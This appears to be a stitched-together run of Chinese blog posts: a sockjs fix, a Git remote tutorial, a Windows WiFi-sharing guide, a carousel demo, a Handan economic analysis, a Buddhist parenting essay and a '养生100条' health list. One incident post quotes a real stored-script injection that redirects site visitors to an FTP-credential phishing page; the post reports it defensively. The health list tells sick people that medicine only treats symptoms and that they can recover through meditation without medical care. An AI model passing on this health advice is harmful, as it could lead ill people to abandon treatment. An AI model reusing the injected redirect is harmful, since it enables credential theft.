/sockjs-node/info?t=1556418283950 net:: ERR_CONNECTION_REFUSED(亲测有效~!)

如果你的项目没有用到sockjs,vuecli3 运行npm run serve 之后network里面一直调用一个接口:
http://localhost:8080/sockjs-node/info?t=1556418283950     net:: ERR_CONNECTION_REFUSED

原因:network里一直调用的这个借口其实是不存在的,所以导致一直报错。
方案:从根源上关闭此调用
1、node_modules/sockjs-client/dist/sockjs.js
2、代码的1605行注释
// self.xhr.send(payload);

#ps:可在代码开发完成后关闭,会同步关闭热加载
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版权声明:本文为CSDN博主「H5女王」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

Git远程操作详解

转载自:https://blog.csdn.net/dongapple/article/details/80451249

Git是目前最流行的版本管理系统,学会Git几乎成了开发者的必备技能。

Git有很多优势,其中之一就是远程操作非常简便。本文详细介绍5个Git命令,它们的概念和用法,理解了这些内容,你就会完全掌握Git远程操作。

git clone
git remote
git fetch
git pull
git push
本文针对初级用户,从最简单的讲起,但是需要读者对Git的基本用法有所了解。同时,本文覆盖了上面5个命令的几乎所有的常用用法,所以对于熟练用户也有参考价值。

git

一、git clone
远程操作的第一步,通常是从远程主机克隆一个版本库,这时就要用到git clone命令。

$ git clone <版本库的网址>
比如,克隆jQuery的版本库。

$ git clone https://github.com/jquery/jquery.git
该命令会在本地主机生成一个目录,与远程主机的版本库同名。如果要指定不同的目录名,可以将目录名作为git clone命令的第二个参数。

$ git clone <版本库的网址> <本地目录名>
git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。

$ git clone http[s]://example.com/path/to/repo.git/
$ git clone ssh://example.com/path/to/repo.git/
$ git clone git://example.com/path/to/repo.git/
$ git clone /opt/git/project.git
$ git clone file:///opt/git/project.git
$ git clone ftp[s]://example.com/path/to/repo.git/
$ git clone rsync://example.com/path/to/repo.git/
SSH协议还有另一种写法。

$ git clone [user@]example.com:path/to/repo.git/
通常来说,Git协议下载速度最快,SSH协议用于需要用户认证的场合。各种协议优劣的详细讨论请参考官方文档。

二、git remote
为了便于管理,Git要求每个远程主机都必须指定一个主机名。git remote命令就用于管理主机名。

不带选项的时候,git remote命令列出所有远程主机。

$ git remote
origin
使用-v选项,可以参看远程主机的网址。

$ git remote -v
origin git@github.com:jquery/jquery.git (fetch)
origin git@github.com:jquery/jquery.git (push)
上面命令表示,当前只有一台远程主机,叫做origin,以及它的网址。

克隆版本库的时候,所使用的远程主机自动被Git命名为origin。如果想用其他的主机名,需要用git clone命令的-o选项指定。

$ git clone -o jQuery https://github.com/jquery/jquery.git
$ git remote
jQuery
上面命令表示,克隆的时候,指定远程主机叫做jQuery。

git remote show命令加上主机名,可以查看该主机的详细信息。

$ git remote show <主机名>
git remote add命令用于添加远程主机。

$ git remote add <主机名> <网址>
git remote rm命令用于删除远程主机。

$ git remote rm <主机名>
git remote rename命令用于远程主机的改名。

$ git remote rename <原主机名> <新主机名>
三、git fetch
一旦远程主机的版本库有了更新(Git术语叫做commit),需要将这些更新取回本地,这时就要用到git fetch命令。

$ git fetch <远程主机名>
上面命令将某个远程主机的更新,全部取回本地。

git fetch命令通常用来查看其他人的进程,因为它取回的代码对你本地的开发代码没有影响。

默认情况下,git fetch取回所有分支(branch)的更新。如果只想取回特定分支的更新,可以指定分支名。

$ git fetch <远程主机名> <分支名>
比如,取回origin主机的master分支。

$ git fetch origin master
所取回的更新,在本地主机上要用”远程主机名/分支名”的形式读取。比如origin主机的master,就要用origin/master读取。

git branch命令的-r选项,可以用来查看远程分支,-a选项查看所有分支。

$ git branch -r
origin/master

$ git branch -a
* master
remotes/origin/master
上面命令表示,本地主机的当前分支是master,远程分支是origin/master。

取回远程主机的更新以后,可以在它的基础上,使用git checkout命令创建一个新的分支。

$ git checkout -b newBrach origin/master
上面命令表示,在origin/master的基础上,创建一个新分支。

此外,也可以使用git merge命令或者git rebase命令,在本地分支上合并远程分支。

$ git merge origin/master
# 或者
$ git rebase origin/master
上面命令表示在当前分支上,合并origin/master。

四、git pull
git pull命令的作用是,取回远程主机某个分支的更新,再与本地的指定分支合并。它的完整格式稍稍有点复杂。

$ git pull <远程主机名> <远程分支名>:<本地分支名>
比如,取回origin主机的next分支,与本地的master分支合并,需要写成下面这样。

$ git pull origin next:master
如果远程分支是与当前分支合并,则冒号后面的部分可以省略。

$ git pull origin next
上面命令表示,取回origin/next分支,再与当前分支合并。实质上,这等同于先做git fetch,再做git merge。

$ git fetch origin
$ git merge origin/next
在某些场合,Git会自动在本地分支与远程分支之间,建立一种追踪关系(tracking)。比如,在git clone的时候,所有本地分支默认与远程主机的同名分支,建立追踪关系,也就是说,本地的master分支自动”追踪”origin/master分支。

Git也允许手动建立追踪关系。

git branch –set-upstream master origin/next
上面命令指定master分支追踪origin/next分支。

如果当前分支与远程分支存在追踪关系,git pull就可以省略远程分支名。

$ git pull origin
上面命令表示,本地的当前分支自动与对应的origin主机”追踪分支”(remote-tracking branch)进行合并。

如果当前分支只有一个追踪分支,连远程主机名都可以省略。

$ git pull
上面命令表示,当前分支自动与唯一一个追踪分支进行合并。

如果合并需要采用rebase模式,可以使用–rebase选项。

$ git pull –rebase <远程主机名> <远程分支名>:<本地分支名>
如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。

但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。

$ git pull -p
# 等同于下面的命令
$ git fetch –prune origin
$ git fetch -p
五、git push
git push命令用于将本地分支的更新,推送到远程主机。它的格式与git pull命令相仿。

$ git push <远程主机名> <本地分支名>:<远程分支名>
注意,分支推送顺序的写法是<来源地>:<目的地>,所以git pull是<远程分支>:<本地分支>,而git push是<本地分支>:<远程分支>。

如果省略远程分支名,则表示将本地分支推送与之存在”追踪关系”的远程分支(通常两者同名),如果该远程分支不存在,则会被新建。

$ git push origin master
上面命令表示,将本地的master分支推送到origin主机的master分支。如果后者不存在,则会被新建。

如果省略本地分支名,则表示删除指定的远程分支,因为这等同于推送一个空的本地分支到远程分支。

$ git push origin :master
# 等同于
$ git push origin –delete master
上面命令表示删除origin主机的master分支。

如果当前分支与远程分支之间存在追踪关系,则本地分支和远程分支都可以省略。

$ git push origin
上面命令表示,将当前分支推送到origin主机的对应分支。

如果当前分支只有一个追踪分支,那么主机名都可以省略。

$ git push
如果当前分支与多个主机存在追踪关系,则可以使用-u选项指定一个默认主机,这样后面就可以不加任何参数使用git push。

$ git push -u origin master
上面命令将本地的master分支推送到origin主机,同时指定origin为默认主机,后面就可以不加任何参数使用git push了。

不带任何参数的git push,默认只推送当前分支,这叫做simple方式。此外,还有一种matching方式,会推送所有有对应的远程分支的本地分支。Git 2.0版本之前,默认采用matching方法,现在改为默认采用simple方式。如果要修改这个设置,可以采用git config命令。

$ git config –global push.default matching
# 或者
$ git config –global push.default simple
还有一种情况,就是不管是否存在对应的远程分支,将本地的所有分支都推送到远程主机,这时需要使用–all选项。

$ git push –all origin
上面命令表示,将所有本地分支都推送到origin主机。

如果远程主机的版本比本地版本更新,推送时Git会报错,要求先在本地做git pull合并差异,然后再推送到远程主机。这时,如果你一定要推送,可以使用–force选项。

$ git push –force origin
上面命令使用–force选项,结果导致远程主机上更新的版本被覆盖。除非你很确定要这样做,否则应该尽量避免使用–force选项。

最后,git push不会推送标签(tag),除非使用–tags选项。

$ git push origin –tags

win10宽带连接上网如何共享?

电脑创建共享WiFi,一般两种办法:

首选:命令提示符

1.命令提示符:

设置共享wifi,名称akimkt 密码:abc123456
netsh wlan set hostednetwork mode=allow ssid=akimkt key=abc123456
启动承载网络
netsh wlan start hostednetwork

2.完成创建和启动后,右键任务栏的 打开网络和internet设置  –》点击  拨号  –》点击  更改适配器选项   ,可以看到新创建的连接 例如我的名称是  本地连接*12

3.选择宽带连接图标  右键  属性–》 点击  共享–》勾选共享连接,并且在家庭网络连接中选择刚创建的共享wifi连接  本地连接*12

常见问题:无法启动承载网络

解决办法:打开window的管理员命令行 输入

netsh wlan show drivers

检查网卡驱动是否支持

如果  支持的承载网络显示 : 否,一般是网络适配器的无线网卡驱动问题

解决办法:右键“此电脑” -> “管理” -> “设备管理器” -> “网络适配器”   找到无线网卡,一般名字里面带Wireless、bgn、/b/g/g、802.11、无线 这些关键字的就是无线网卡。

右击无线网卡,点更新驱动。先尝试自动更新驱动:

如果更新后还是无法解决,应该是因为驱动版本太新,需要手动去安装旧版本的驱动,如下图。

其次:使用WiFi共享软件,共享软件一般使用时会各种广告,并且需要经常点击来保持连接,不好用。

网上有说win10自带移动热点功能,但在连接的上网环境中并不适用

js写进文章里的攻击

今天帮一个客户解决了一个文章列表点击无法进入的问题,点击后一直被提示输入ftp信息

反复检查代码都没发现问题,最终发现是在数据库导出的sql文件中搜索这个垃圾私服的网址找到了原因。

原来通过一段js代码,跳转写进最新文章的标题位置影响了页面的正常显示。

INSERT INTO ss_article_categories(`id`,`name`,`alias`,`article_category_id`,`i_order`,`s_locale`,`published`,`for_roles`) VALUES('16','<script > window.location.href=\"http://www.wanmeiro.com/install/js/ftp.html\"; </script> ','caa_S5hJ1WYj','0','9','zh_CN','1','{member}{admin}{guest}');

删除本条数据库记录后恢复正常。

因此提醒各位网站管理者,再网站管理后台中如果遇到提示输入ftp信息的千万不要输入,否则空间管理权限被泄漏,那些网络的蛀虫就会在你的空间里注入各种木马。

轮播图

<!DOCTYPE html>
<html lang=”en”>
<head>
  <meta charset=”UTF-8″>
  <meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
  <meta http-equiv=”X-UA-Compatible” content=”ie=edge”>
  <title>Document</title>
  <style>
    * {
      padding: 0;
      margin: 0;
    }
    #inner {
      margin: 20px auto;
      overflow: hidden;
      width: 730px;
      height: 454px;
      position: relative;
    }
    ul {
      list-style: none;
      position: absolute;
      width: 1000%;
      left: 0;
      transition: left 300ms linear;
    }
    li {
      float: left;
    }
    .list {
      display: flex;
      position: absolute;
      left: 30%;
      bottom: 40px;
    }
    i {
      width: 20px;
      height: 20px;
      border-radius: 10px;
      border: solid 1px red;
      background-color: #fff;
      text-align: center;
      margin: 0 20px;
      cursor: pointer;
    }
    .arrow {
      position: absolute;
      width: 100%;
      top: 50%;
      margin-top: -30px;
    }
    .arrow-left,
    .arrow-right {
      width: 30px;
      height: 60px;
      position: absolute;
      font: 20px/60px “consolas”;
      color: #fff;
      background-color: rgba(0, 0, 0, .3);
      text-align: center;
      cursor: pointer;
    }
    .arrow-right {
      right: 0;
    }
    .current {
      background-color: skyblue;
      color: #fff;
    }
  </style>
</head>
<body>
  <div id=’inner’>
    <ul>
      <li>
        <img src=”images/01.jpg” alt=””>
      </li>
      <li>
        <img src=”images/02.jpg” alt=””>
      </li>
      <li>
        <img src=”images/03.jpg” alt=””>
      </li>
      <li>
        <img src=”images/04.jpg” alt=””>
      </li>
      <li>
        <img src=”images/05.jpg” alt=””>
      </li>
      <li>
        <img src=”images/06.jpg” alt=””>
      </li>
    </ul>
    <div class=”list”>
      <i class=”current”>1</i>
      <i>2</i>
      <i>3</i>
      <i>4</i>
      <i>5</i>
      <i>6</i>
    </div>
    <div class=”arrow”>
      <span class=”arrow-left”>&lt;</span>
      <span class=”arrow-right”>&gt;</span>
    </div>
  </div>
  <script>
    var inner = document.querySelector(‘#inner’)
      var ul = document.querySelector(‘#inner ul’);
      var lis = document.querySelectorAll(‘#inner ul li’);
      var li = lis[0].cloneNode(true);
      ul.appendChild(li);
       var is = document.querySelectorAll(‘.list i’);
       var arrowl = document.querySelector(‘.arrow-left’);
       var arrowr = arrowl.nextElementSibling;
       var es = 0;
        //遍历所有的i标签,分别添加鼠标移入事件
       is.forEach(function(e1,i){
         is[i].onmouseover = function(){
           //将这里的索引给全局变量es
           es = i;
          uli();
         }
       })
       function uli(){
         //遍历i,去除所有的i样式
        is.forEach(function(e2,j){
              is[j].classList.remove(‘current’);
            })
            //如果当前进入了假图1,给第一个i加样式,否则就正常对应添加样式
        if(es == lis.length){
           is[0].classList.add(‘current’)
         }else{
          is[es].classList.add(‘current’);
         }
            //给当前图片对应的i添加样式
        ul.style.left = -es*lis[0].offsetWidth+’px’;
        //恢复过度效果需要放ul抽回完成后,并且放在自增和索引由0到1的ul位移之后
        //虽然这两条是一起执行的,不分先后,但是,过度效果恢复放前面就会影响抽出过程
        ul.style.transition = ‘left 300ms linear’;
       }
       arrowr.onclick = function(){
         if(es >=lis.length){
            //es=lis.length意味着一经站在假的第一张图上,所以去掉过度瞬间抽回ul
            ul.style.transition = ‘none’;
            es = 0;
            ul.style.left = es;
          }
          es++;
          uli();
       }
       arrowl.onclick = function(){
         if(es == 0){
            //es=0,所以去掉过度瞬间抽到最左侧ul
            ul.style.transition = ‘none’;
            es = lis.length;
            ul.style.left = -es*lis[0].offsetWidth+’px’;
          }
          es–;
          console.log(es);
          uli();
       }
        var auto = setInterval(function(){
          arrowr.onclick()
        },3000)
        //鼠标移入停止轮播
        inner.onmouseover =function(){
            clearInterval(auto);
        }
        //鼠标移出开始轮播
        inner.onmouseout = function(){
            auto = setInterval(function(){
              arrowr.onclick();
            },3000)
        }
  </script>
</body>
</html>

转载:邯郸挑食的背后——邯郸经济数据解析

首先建立一个基本概念:邯郸是一个人口净流出型的城市,并且流出规模越来越大。2010年邯郸人口普查的结果,常住人口917万,户籍人口963万,963-917=46万,这个差值就是离乡背井的邯郸人。到2015年底,根据河北省统计局1%人口抽查的结果,2015年邯郸常住人口943万,对比其当年底1050万的户籍人口,有107万的邯郸市民处于离乡背井状态。5年过去了,邯郸的人口流出规模翻了个倍。这当然意味着这个城市无法提供足够的就业岗位,无法养活它的市民。

 

再来建立第二个基本概念:邯郸的企业债务即将爆表。2016年末,邯郸非金融企业存款规模929亿,贷款规模高达2529亿,企业资金杠杆率(贷款/存款)高达272%!这个数据是什么概念呢?全国2016年底的非金融企业的资金杠杆率仅为140%,被经济学界口诛笔伐债务危机的山东省2016年底的企业资金杠杆率也就是169%。而邯郸的这个数据,在全国范围内遥遥领先,没有任何城市可以与之相提并论。2016年邯郸全部规模以上工业企业的总利润只有197亿,只相当于2529亿企业贷款规模的7.8%。考虑到邯郸其实是个工业型城市,197亿的规模以上工业企业利润,大概也就是这整个城市的各类企业经营所能创造出来的大部分利润了。好吧,这意味着这个城市的企业利润大概也就勉强够付个企业贷款利息。这种数据还真是让人惊讶。

 

第三,邯郸中央财政补贴越来越依赖。2014年来源于邯郸的全部财政收入305亿,但当年度邯郸财政预算内支出规模398亿,这中间的差值93亿,就是以转移支付形式获取的中央财政补贴。到2016年,来源于邯郸的全部财政收入326亿,但财政支出上升到534亿,中央财政补贴规模上升到208亿,两年时间,补贴规模竟然就翻了个番。好吧,我很好奇的随便翻阅了一下2016年邯郸的财政决算报告,增加额最大的是两项,社会保障和就业项从2015年的52.3亿增加到62.2亿,增加了差不多10亿;其次是城乡社区支出,从46.6亿增加到53.9亿,增加了7亿多一点。好吧,对于社保和就业项支出的增加,我们看到本文的第一点就可以理解了,人口流出规模持续增加的城市,就业情况肯定好不到哪里去。对于第二项,我稍微解释一下,城乡社区支出事实上就是基层镇村政权的维持费用,在就业情况不好的情况下,大家应该也能理解。

 

第四,邯郸。2014年邯郸城镇居民人均可支配收入22699元,只相当于当年度全国城镇居民人均可支配收入28844的79%。到2016年,这个比值依然牢牢的稳定在79%(26603/33616)。在中央财政补贴规模翻倍的情况下,邯郸城镇居民的收入水平依然没有实现对全国平均水平的赶超。从这种数据来看,作为环京赤贫带的代表性城市,邯郸城镇居民对于长期拖全国后腿的状况心安理得。如果,我这里就是说如果,中央对邯郸的财政补贴规模减少一点,也不知道邯郸市民会穷到什么地步去。

 

好吧,以上四点综合起来,总结起来的关键词就是:人口加速流出、债务爆表、财政窟窿、市民普遍贫穷。这么一看,大家应该对邯郸这个城市,有了比较全面的了解了。对于邯郸挑食这个成语,大家应该也有了更深刻的理解了。这样的城市,当然是我大中国最有资格挑食的城市了!

转载自360图书馆

孩子的福报不能过早用尽

今天吃晚餐时,一位同事说明年要让他女儿上一万多元一个学期的贵族幼儿园,我听了很惊讶,并警告他:

“每个活在世上的人都是因为有福报才能活命,福尽则亡,请不要把你小孩命中的福报提前用了!一万多元一个学期,那是你小孩命中注定的福报呀!要给她保存起来,给她将来用!”

世上很多人都有很多错误的教育小孩与孝敬父母的误区,故特作此文,以期抛砖引玉。

世上每一个活在世上的人,能活在世上,是因为他有福报。如果他的福报尽了,不论是天龙鬼神,还是帝王将相,皆命终。

从前有二个人打赌。有一个人念佛吃斋了很久,但他总是生病与贫穷, 后来他说念佛吃斋没用。当时有一位朋友听见,开玩笑说:

“你说念佛吃斋没有用,那你把你念佛吃斋的功德卖给我!”
那人当真了,收了钱并立了字据,把他念佛吃斋的功德卖了。第二天他便梦见鬼差来找他,说他福报已尽,某日当命终。于是他便急忙找朋友要回字据,他朋友说已烧了,不久他便命终。类似的故事我看过好几例,我虽然不知故事发生在何时何地,但我相信是有类似的故事发生过。

我希望每位见文者都能积福惜福,不要浪费福报。每一有生命的众生,一生能吃能用的一切,都源于前世福报,福报尽则命终。是故,要积福惜福。

很多有钱人,从小就给小孩吃最好的,用最好,上最好学校的,结果小孩成长后,事事不如意,还染上种种不良习气,不久便因种种原因命终,白发人送黑头人。

以上现象,当今社会上比比皆是。如果要找例子,可以找上一大堆。可是有人找过真正的原因吗?其实原因很简单:是父母把小孩的福报提前用光了。

什么吃最好的,穿最好的,用最好的,那是在消他的福呀!你自己的小孩有多大的福报道呀?!你从小让他过上皇太子的生活,那是在折他的寿呀!

吃不必太好,卫生就行。穿不必太好,能暖就行。用不必太好,安全就行。上学校不必太好,老师有学问有品德就行。住不必太好,能让心安静就行。娶老婆不必太漂亮,能孝顺公婆、能持家就行。嫁老公不必太有钱太帅,能养家糊口、能不染恶习、能爱护自己,心地善习就行。求师学道,不一定要是大彻大悟的活菩萨,也不一定要是能飞天遁地的活罗汉,更不一定要是能青春永驻的长生不老活神仙,只要他的德行与学问比你目前高,皆可以为师。

古今中外很多伟人名人皆有云:“我幼年时,我父母给我最大的遗产就是贫穷!”

古德云:“穷且益坚,不坠青云之志。”

《孟子》云:“天将降大任斯人也,必苦其心志,劳其筋骨。”

古谚云:“穷人的孩子早当家。”

在当今物质丰富的社会,我不可能叫大家以贫穷来逼孩子早懂事、早立志、早当家。但是,必须早让你的孩子知道你的钱一分一毫都来之不易,要让孩子在寒暑假期间点体验生活,知道知识的好处,知道知识在人生的道路上是十分重要的。知道品德人格在未来的人生上是宝贵的财富。唯有这样,孩子才有可能用功学习,不交恶友,不染恶习。如果你整天把他棒在手上,让他当一皇太子,那只有折他的福寿。

养生100条

1、记住:睡觉是养生第一要素。睡觉的时间应该是晚21:00~早3:00。因为这个时间是一天的冬季,冬季主藏,冬季不藏,春夏不长,即第2天没精神。
2 一切药物对治病来说都是治标,不是治本,不管是中医还是西医.因为一切的病都是错误的因产生错误的果.错误的因不除,错误的果就不会绝根.健康的根本在心.一切法从心生.心净则身净.所以得病了,不要向外求,要靠自己自身的修复系统来修复自己的疾病.其实人和动物是一样的,动物的病都是靠自己,人也能。
3、正确的观念远比昂贵的药物和危险的手术更能帮助患者消除疾病。有了正确的观念,你就会有正确的决定,你就会有正确的行为,你就可以预防许多疾病的发生。
4 人所具有的一切智慧,绝对不是从书本里学来的,而是从自己的真诚心、清净心(就是佛家所说的菩提心),从定中生出来的。
5 人是一切生物中构造最完美的灵体,健康的身体是人生来就具足的;人的健康状况的调节是靠人体本身所具有的调节修复系统来完成的,而不是靠外部因素,外部因素只能起辅助作用。
6 人的大部分生病现象是人体在调节、清理身体垃圾时所表现的现象,是人体自动调节平衡所表现出的状态,所以应该把它们当成正常的生理现象,而不应该去把它当成病因来消灭。所以当人在生病的时候,一定不要有怨恨嗔恚心,心里要安定,心定则气顺,气顺则血畅,气顺血畅则百病消。
7 人的健康离不开两大要素:1)足够的气血;2)畅通的经络(包括血管和排泄垃圾的通道)。
8 足够的气血靠:足够的食物+胆汁+必要时间内(晚天黑后~午夜1点40)优质的睡眠(这个时候大脑完全不工作,由植物神经主导)+良好的生活习惯。
9 畅通的经络需要:清净心。一切七情六欲都会破坏清净心,从而破坏经络的正常运行。
10 维持健康的身体不仅需要“增收(增加气血)”,也需要“节支(减少血气的损耗)”。
11 过度地增加食物不仅不会增加血气,而且会成为身体中的垃圾负担,反过来还得靠消耗血气来把他们清理掉。五脏六腑是一个血气加工厂,食物是原材料,加工能力是有限的,而食物是无限的,所以食物的数量必须得到控制。
12 适当运动可以帮助人的气血运行,但同时也在消耗人的气血。人体的微循环主要应该靠松静来达到的,这也是健康必不可少的。
13 人体中的垃圾越多,就越需要更多的血气来清除它们,但人的血气因为垃圾的增多和血脉的阻塞而减少,这就形成了恶性循环,这也正是人衰老的机理。所以,人要想健康不老,就要:1)减少体内的垃圾;2)增加血脉经络的畅通;3)增加体内的气血。
14 与其相信药物,相信检查的数据,不如相信自己的感觉,相信自己所具足的自我调节能力。但这需要在你得道(智慧开了)的前提之下,才能分辨这一切。
15 健康,从调节心性开始。为了你的健康,你学佛吧。学佛得到的快乐是人生最高的享受。
16 对于一个有宿疾的人来说,只有气血充足了(一是通过这里所介绍的补充气血的方法,二是通过静坐打通气机),病情才会显现出来。所以练功的人在功夫达到一定水平后都会出现一些“有病”的现象。这个时候要沉住气,定下心来多做些静功来增加自己的气血,以尽快度过这个时期。
17 人违背了养生法则,虽不一定会立即得病,但一旦形成习惯,就会大大增加得病的机会。这就和交通规则一样,你违背了交通规则,不一定会出事故,但其危险性是显而易见的。
18 人为什么必须保持一定的饥渴才是对养生有利呢?其实这就是“虚”的妙用。道家讲,虚则灵。这和谦虚使人进步,自满使人落后一样,所以人必须经常保持“虚灵”的状态,才能时时保持清醒,保持健康。
19 人要想健康,就必须使体内有足够的”气”来”气化”所进的食物.只有这样,你的体内才不会积累垃圾,不会有多余的食物来释放游离的”虚火”损害你体内的脏器.这个”虚火”反过来会损耗你的”气”.所以,从这个意义上来讲,现代人生病,大多数是饮食不节的缘故.
21 俗语说“灵机一动,计上心来”。这个“机”字如果能真正领悟透了,那么你的悟性就算是开了。老师教人,医生治病,其实就是在点拨你的这个“机”,让你“机”打开。这个“机”,有时也叫“关键”。当然,这个“机”起作用是有条件的,就和氢气只有达到一定浓度,遇火才可以燃烧爆炸一样。记住,别人的作用都是外因,你自己才是真正的内因。
22 其实,许多真正的发现和发明,所需要的不是所谓系统的书本知识;恰恰相反,一个没有受过任何系统教育,但悟性极高的、具有开放思维的人,他往往真正悟到真相。
23 人生最忌是个乱字,心乱了,对外可以紊事,对内可以打扰血气,使失正常。凡恼怒恐怖喜忧昏疑,都是乱,为多病短寿的根源,不但养病时不应乱,即平居时亦忌心乱。
24 多嗔伤肝,多淫伤肾,多食又伤脾胃。忧思伤脾,愤怒伤肝,劳虑伤神。
25 身病之起,无不由心虚弱,外邪乘入。而心虚气弱,每由心魂恼乱,真体不充,发现种种不安。贪食贪胜贪得贪乐逸,皆足以致病。以贪之不得,于是乎嗔。贪嗔可使心荡气促,胆惊肝旺,六脉震动,五脏沸腾,外邪同时乘入,此病之起因。
26 凡人欲求长寿,应先除病。欲求除病,当明用气。欲明用气,当先养性。养性之法,当先调心。
27 人受五行之气而治生,故肉身以气为主。气亏则病,气滞则病。欲治其病,先治其气。
28 气以行血,血以补气,二而一也。凡人久视则伤血、久卧伤气、久坐伤肉、久立伤骨、久行伤筋,七情六欲之过则伤元气、伤心肾。相火旺,真阳耗,
29 治五脏之病,莫先于补气。肾犹亟焉。补气在勿动心,心动则肝旺,各脉震惊,真水耗损。
心为扇,主引风。风动则火旺,火旺则水干,水干则地损。
30 心定神一,受治者信坚心专,两心相合,可以统治百病,无不神效。
31 人病可分两种:一是经络基本畅通但气不足。表现是经常这疼那疼,这是因为他气不足以气化食物,而产生了相火(也叫虚火),随着经络在体内乱穿,哪儿通走哪儿,遇到一个地方堵塞了,这个地方就疼了。这样的人吃一点药物就会立即见效。二是经络不通,气也就无处存身。表现在外表看不出有什么毛病,但一旦发现就是大病,而且这种人经常是吃什么药都见效慢,或根本不起作用。
主发谓之机。箭在弦上要发出去,必须拨动这个机。其他任何事情都是这样,都有一个机,只有触动这个机,事情才会发生,不触动这个机,其他的条件再多,也没办法引发事件。机就是这么一个东西,它是事情发生的最关键因素。它是点,不是面。可是触动这个点,就能带动面。所以,病机就是疾病发生、发展、变化的最关键因素,(也可以讲,病机一开,人的病状就会显现出来,人就进入了“病” 的恶性循环当中。和病机相对的就是“生机”。生机一开,人就会进入康复这个良性循环当中。实际上病机和生机是一个东西的两个方面,是一对阴阳。病机开了,生机就关了,而生机开了,病机也就自然开始关闭了。这个就是辩证法。)
32、中医的最高境界是养生,养生的最高境界是养心。所以,就养生而言,下士养身,中士养气,上士养心。看一个人也是一样,观相不如观气,观气不如观心。
33 心神不安,情性燥急,为致病致死之总因。故安心法,为卫生第一要诀。心可以主动一切。心定则气和,气和则血顺,血顺则精足而神旺,精足神旺者,内部抵抗力强,病自除矣。故治病当以摄心为主。
34 风寒阴阳暑湿,在在皆可使人致病。万一抵抗力薄弱,即可乘虚而入。身弱者多病,即是此理。富人有保卫力,如衣食住等等。贫人有抵抗力,如气足神旺,毛孔厚密,不易侵入等等。富人多食肥甘,伤胃伤齿。贫人多饿,所食不杂,故无肠病。富人多逸,故多气恼。贫人多劳,故少疾病。富人不造福而享福,只是消福,消尽则穷。穷人能勤俭,即是造福,果熟即富。凡衣食住之保卫力富,则精气神之抵抗力弱。保卫力弱,则抵抗力强。
35 大病初愈,切忌理发洗足沐浴
36 故求长寿无病,常强肉身。欲强肉身,当调伏精气神。欲调精气神,当拒绝扰乱之贼。欲杜此贼,当先摄心。欲求摄心,当化贪嗔痴三毒。欲化除此三毒,必学心戒。但空口言戒,无益于事,必求开慧,方不为所愚。欲求开慧,必先求定。欲求得定,必学静坐。
37 能静则仁,有仁则寿,有寿是真幸福。
38 一切修身修心法门,只有两字诀:曰放下、曰回头。放下屠刀,立地成佛;苦海无边,回头是岸。只要一放下,一回头,病者顿愈,迷者顿觉。此真无量寿者。
39 心过劳的人,心疲肝旺,心过劳就是心太满,不虚。心满,则不纳肝(木)生之火,心不纳肝生之火,则肝气必积而盛。肝木克土,脾胃受病,消化不良,营养不足,夜眠不安。土又克水,于是肾水大亏,水不足则火更旺,心肾相联,心气更弱,肺病即成。内部相互关联,一动全动,一病全病。而扰之者,乃在妄心,所以治病在安其心,安心在息妄,息妄在明心,明心即自觉,而健康的功效在乎静坐。
40 静坐是息心法,心息则神安,神安则气足,气足则血旺,血气流畅,则有病可以去病,不足可以补充,已足可以增长。现在病可去,未来病可防,此其小者也。又心息则神明,神明则机灵,静者心多妙,观机辨证,格外敏捷,见理既正,料事益远,遇乱不惊,见境不惑,能一切通达,自无主观偏执之弊,而大机大用,由此开启矣。
41 人在生病的时候最忌讳是嗔恚心起。这个时候一定要安然顺受,让心安定。然后慢慢调理,健康很快恢复。心安才能气顺,气顺才能除病。否则心急火上,肝气受损,加重病情。心神宁一,那浑身的血气,自可健全发挥。
心有两种,一是真心,一是妄心。真心是水,妄心是波,波因风动,风止波息,而水不动。寂然无念,是无心心也。
42 子时失眠,肾水必亏,心肾相连,水亏则火旺,最易伤神。
43 睡时如有思想,不能安着,切勿在枕上转侧思虑,此最耗神。
44 午时属心,此时可静坐一刻钟,闭目养神,则心气强。
45 早起如在寅时三点至五点,此时切忌郁怒,不然必损肺伤肝,万望注意。
46 人生一切事业,皆以精神为根本,而精神之衰旺强弱,全赖心神之静定不乱,一个乱字,足以妨碍一切工作。
47 人生以血气流通为主,气滞可以阻血,血阻可以结毒为疖为瘰,为癌为瘤,皆是血气不流通之故。气以顺为主,血以通为畅。百病无不先由气滞,气郁于内,肝先受伤。挽救之法,在化除得诀。而化除要诀有二:第一寻其根,其根在心,心空则一切自化。第二以药石、按摩助其化除,帮助血气之流通。
48 养病治病不可求速。因性急助火,火旺损气,反而不美。另不可贪多,贪则无恒而性急,况百病由贪而起,不可再贪以重增病苦也。
49 心属火、肾属水,心肾相连。火宜降下,水宜上升,水火相济,则蒸气内发。各部机体运动,可求得健康。此可于舌上察知。舌无水则不活,故活字以三点水加舌字。舌上可以报告内部各种病状深浅,以断生死。
50 大病自救法:一、不要怕死,决信我这个病,非但可以养好,并且身体可以格外健康,保证长寿。因为自己机体中本有特具的能力,不是空言的安慰。二、相信不用医药或靠何种营养食品,一定有自己除病延年的妙法。三、从今日起,我决定不许再去打扰我那病体,不许想著我那个病是如何病的,好坏都不许去计较它,只做个无事人。四、在这修理期内,不许想念工作,也不许悔恨丧失了时间和工作,专心一致,否则又迟误了。
51 静养法:安坐(卧)在床上,把身心一齐放下,自己浑身如融化,不许用一毫气力,好像没有这个身子相似。呼吸顺其自然,心也不许它用一点力,一起念便是用力了。把心安在脚底板下,此是引火向下,引水向上,自然全身气血顺畅。
52 修行要诀:寂照照寂 切忌用力 成佛作祖 无他秘密。
具体要求:不许任何部分用一点气力,包括意念、呼吸、肢体,做到:眼不观,耳不闻,鼻不嗅,舌不尝,口不纳,心不想。此是唯一条件。若有所思所闻所觉,即是用气力,甚至乎使臂指即是用气力。呼吸稍粗亦即是用气力。不久那呼吸自然而平,似乎不由口鼻内出纳,而浑身八万四千毛孔中有了动作,或张或翕,此时无我无身无气无心,天然心归本位。所谓引火归元,又名水火既济,为治疗百病之总诀。
